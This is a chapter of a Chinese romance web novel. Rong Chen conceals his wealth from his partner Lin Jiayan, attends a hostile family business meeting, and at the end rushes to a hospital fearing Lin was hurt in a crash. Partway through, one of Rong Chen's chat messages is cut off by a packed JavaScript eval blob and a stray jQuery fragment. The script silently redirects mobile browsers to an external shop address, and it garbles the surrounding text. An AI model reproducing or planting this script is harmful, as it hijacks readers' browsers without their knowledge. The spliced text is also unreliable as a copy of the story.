林嘉言屏住呼吸。
眼前的男人身着白衬衫、银灰色领带、外套黑色西装,和平时的休闲服给他的感觉完全不同。一身熨帖笔挺的黑色西装,衬托着修长挺拔的身材,肩线宽阔,腿长而匀称。
男人面容冷峻,眼睛深得像一汪潭水,鼻梁高挺,下颌线条分明,配上成熟稳重的气质,整个人散发着上位者从容不迫的气场。
林嘉言的眼睛睁得圆圆的,看得一眼不眨。
容琛失笑,伸手在林嘉言眼前晃晃,微微低头等待吻别。
他有些小期待,不知道林嘉言今天会亲哪里。昨天亲的下巴,今天大概率会亲脸颊。
林嘉言回过神,伸手向容琛探过来,容琛一怔,今天不亲改为摸了吗?
林嘉言摸到了领带,用指腹摩挲了一下,问道:“下次你再穿西装能不能让我帮你打领带?”
“好。”
林嘉言观察了一下距离,感觉有点远,想了想,拽住容琛的领带借点力,踮起脚尖凑到他的脸颊,不似平时轻轻地贴上去没有声音,而是重重啵了一口,脆脆地响。
容琛耳尖发烫,一连猜错了几天,今天终于猜对了。
拽住他领带的手却没有丢,林嘉言在他耳畔低语:“琛琛好帅啊。”
热浪钻进耳道,耳尖更热了。
林嘉言终于松开他:“琛琛去上班吧。”
容琛走后,林嘉言拿起一块火龙果吃着,看了看时间已经八点多了,容琛骑着电动车,会不会迟到啊。
前几天他提出让容琛开他的汽车,他骑容琛的电动车上学方便。结果当晚容琛回来,给他买了一辆新的电动车。
学校门前的闹市区经常拥堵,他每天骑电动车往返学校,确实比开车快多了,只是他的汽车闲置着,容琛还是没有开。
容琛爱面子,不想开他的车他理解,可今天容琛要开会,时间赶得太紧了。穿着那么帅的西装,骑着电动车,一路上还会收获无数人的目光。
想到那些人的视线肆无忌惮地落在容琛身上,他就不开心。容琛是他的,凭什么给别人看?
林嘉言蹬上鞋子向外走,电梯刚刚下行。他按下按钮,等待电梯上来。
汽车停车场在负一楼,电动车却是在小区路两旁的车棚里,容琛骑电动车,下的是一楼。
他盯着电梯的层数,……三、二、一,到了一楼却并没有停下来,而是到了负一楼。接着电梯上行,依然没有在一楼停留。
负一楼是地下车库,容琛怎么会去那里啊?他连忙给容琛打电话。
容琛下电梯后,快步走向停车位,还没走到汽车前,电话响了。
他拿出手机一看,是林嘉言。容琛紧张问道:“你怎么了?我马上上去。”
“没事我下去。”电梯门开了,林嘉言抓紧问道,“你在哪儿?”
容琛略一思索,说道:“我在车库。”
到了负一楼,看到容琛在电梯旁等他,林嘉言问道:“你怎么到这儿了?”
他解释说,“我怕你开会迟到,想让你开我的车去。”
“不用了。”容琛说出想好的理由,“我等下开我老板的车,正好顺路去接他。”
林嘉言道歉:“这样啊,耽误你时间了。”
容琛安慰他:“没事,时间还很充裕。”
林嘉言要走了,想想又停下,容琛说时间还充裕,反正自己左右都是耽误容琛的时间,不如再多耽误一点。
他快速扫视了一眼周围,朝容琛摆摆手,故作神秘地让他走到自己身边来。
容琛看到他的手势,不知道他葫芦里装的什么药,但还是听话的走过去。走到林嘉言跟前的那瞬间,林嘉言毫无预兆地踮起脚亲了他一下。
趁容琛还没有反应过来,林嘉言又对他做了一个鬼脸,像干坏事得逞的小孩一样,笑着往后退了几步,才对他挥手告别。
容琛嘴角轻轻上扬,在外边竟然也敢出门吻吗?不过也太慌张了,都亲到衣服上了。
路上容琛才想到,他再一次欺骗了林嘉言。
距离会议时间还有十分钟,容琛到达了公司。
这次会议是和集团总部的国际连线,屏幕里,父亲坐在主位,他的私生子弟弟容笑坐在父亲下位。
容琛遏制住内心的厌烦,听着那父子俩唱戏,彬彬有礼,虚与委蛇。
容笑最近染上赌博,为还赌博巨债不得已搞起激进营销,又不肯花费资金使用新技术,结果造成产能过剩,存货积压占用大量流动资金,资金链几近断裂。
容琛不等父亲说出让他善后的话,先发制人道:“我回国后收购十余家公司,最近向总部打过资金申请,既然总部困难,我再另想办法。”
听到大儿子这样说,父亲勃然大怒,指责他是一个白眼狼。面向小儿子时,眼神又变得温柔起来。
会议商议到最后也没有拿出解决方案,有高层建议公司紧急融资,出让部分股权作为解救策略,容琛观察父亲的反应,父亲不置可否,可显然内心有了动摇。
会议结束后,容琛手机多了许多未读消息,他打开林嘉言的留言:【琛琛,我带宝宝回家了。】
容琛怔忡了下,才想到林嘉言说的家,不是指博园,而是指他真正的家。
今天家里没人,林嘉言本想着明天大哥大嫂在家时再回去,顺便和陆淇约着玩几把游戏。
两人通话时,陆淇说下午要来博园看小猫,林嘉言一激灵,来个先回家为强。
中午林嘉言在陆淇家混了午饭。两人半个月未见,有说不完的话,逗着猫聊着天打几把游戏,就到了晚饭时间。陆淇邀请林嘉言出去吃大餐。
林嘉言现在听到大餐二字,第一反应是容琛的饭菜。听到陆淇说去盛世酒店,他忙提醒道那里服务态度不行。
陆淇不以为然,告诉他几个同学都说那里饭菜不错,服务态度特好。
看来那里内部整顿了。
林嘉言悄悄给容琛发消息:【朋友拉我去盛世酒店吃饭啦,我吃过就回。】
来到盛世酒店,这里的整体素质果真改进不少,饭菜也不错,但和容琛做得差不多,还没有在家和容琛一块吃着舒坦。
要是现在在博园,就能够和容琛一起开开心心吃大餐了。
容琛在家一个人吃饭,只简简单单熬了粥炒了一个菜,身边没有闹腾的林嘉言,他好像也没有什么胃口。
想给林嘉言发消息,在对话框停留数秒,想着他和朋友在一块不方便,最后还是按下了返回键。
林嘉言也想给容琛发消息的,陆淇在他抽不出机会。吃完饭要走时,碰到一同学过生日宴,非要拉他们去包间喝两杯再放人。
陆淇向他们讲明,只喝两杯就走,林嘉言推托自己开车,滴酒不沾。
趁着陆淇喝酒没注意他,林嘉言坐到角落的沙发上发消息:【琛琛我吃完了,遇到一同学让喝酒,我才不喝呢,我回家抱了宝宝就回去。】
容琛的消息很快传来:【言言真乖,切记开车不能喝酒。】
林嘉言回复:【嗯。】
刚发送过去,消息又过来:【如果到家时间晚,你就在家住一晚,明天再回来。】
消息提示音有点响,林嘉言留神看了眼陆淇,还好陆淇没有注意到他。
林嘉言点了静音,发送道:【可是宝宝想见琛琛了。】
容琛看着消息发了下呆。
今晚没有见到小猫,他也想见宝宝了。可毕竟时间有些晚,他还是多了份担心。
他发送消息:【路上慢一点。】
想想又发送一句:【到家给我消息。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17623173|205545||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
】
林嘉言编辑消息:【我知道啦。】
还没点发送,有同学端着酒杯过来:“林嘉言,你也喝一杯,等下叫个代驾。”
林嘉言吓一跳,连忙关掉手机屏幕。还好同学只是劝酒,没有看到他的手机。
想着又要拉扯一会儿,陆淇拉住那个同学:“你可别,我可不信任代驾。”
陆淇顺势告别,林嘉言也不好再拿出手机发消息了。
两人来到酒店停车场,只见远处开过来一辆炫目的黄色飞飏跑车,陆淇推推林嘉言:“看看,这人和我一样有品位。”
跑车车门打开,那个有品位的男人正是车展那天容琛的老板。林嘉言一缩脑袋将自己隐到了一辆车后。虽然知道容琛没有和老板在一起,他还是莫名心虚,先躲开了要紧。
陆淇想不经意和男人来一场偶遇,林嘉言条件反射地拉住他。
对上陆淇不解的眼神,他想了一下才想到说辞:“你喝酒了,他看到对你印象不好。”
陆淇反应过来:“对,还得是你提醒我。”
看着男人走远的身影,陆淇暗道可惜。转头看到林嘉言一脸笑容,假装板着脸说他幸灾乐祸。
林嘉言:“不是,他可是容少欸。”
陆淇哼一声道:“容少怎么了,容少我就不能追了吗?我见他一次是偶然,见他两次就是缘分。”
陆淇喝酒后最喜欢乱扯,林嘉言还认了真:“你真打算追容少啊?行不行啊你。”
陆淇:“不能说男人不行。”
这两人一人醉着一人清醒,还说的挺顺溜。
季扬不会知道,他就回酒店取些东西,就被两个小孩惦记上了,而且又把他当成了容少。
博园。容琛做完一盘数独,拿起手机看着和林嘉言的微信,想发消息又怕他不方便。
正犹豫间,屏幕上方突然弹出来一则社会新闻。
半小时前,未来数码城门前发生汽车连环追尾事件,已知多人重伤,被紧急送往仁德医院。
未来数码城位于盛世酒店旁边。他来博园不久,有次林嘉言给他从盛世酒店带饭,说过他从家到酒店经过数码城。
容琛的眼皮跳起来,心也咚咚跳个不停,手机差点握不住了。
他颤抖打字:【言言到家没?】
没有人回复。他顾不上考虑别的,一个电话打过去,铃声响着却没有人接听。
“言言快接电话啊,言言。”容琛对着手机一遍遍地说着。
铃声结束,他迅速拨出第二遍,依然无人接听。
倏忽之间,容琛有了许多不好的念头,浑身的血液好似冻住,呼吸变得困难。
早上他有多甜蜜,此刻他就有多害怕。他告诉自己:没事的,一定没事的。
他还想知道明天林嘉言会出其不意亲他哪里,他还想让林嘉言帮他打领带,还想和林嘉言一起看电影。
容琛深呼吸稳住自己,打字留言:【到家给我电话。】
坐电梯来到地下停车场,汽车径直驶向仁德医院。停好车后容琛跑步来到急救中心,脑门子已经沁出了细密的汗珠。
走廊里乱糟糟的,刚送来一批重患,白衣护士忙碌地穿梭,闻讯赶来的家属着急地询问医生情况,有几个人崩溃到大哭。
容琛腿上有些软绵,攒着一股劲来到护士站,已经快撑不住了,他用手扶住服务台支撑着身体。
他颤抖着询问值班护士:“你好,刚才数码城发生车祸,请问受伤的有没有一个十八九岁的年轻人?”
声音飘忽,都不像是自己发出来的。
护士想了一下说:“有个十八九岁的年轻人,失血过多昏迷了,随身也没有找到手机证件,我们已经联系警方了。”
护士抬头问道,“你是他家属吗?”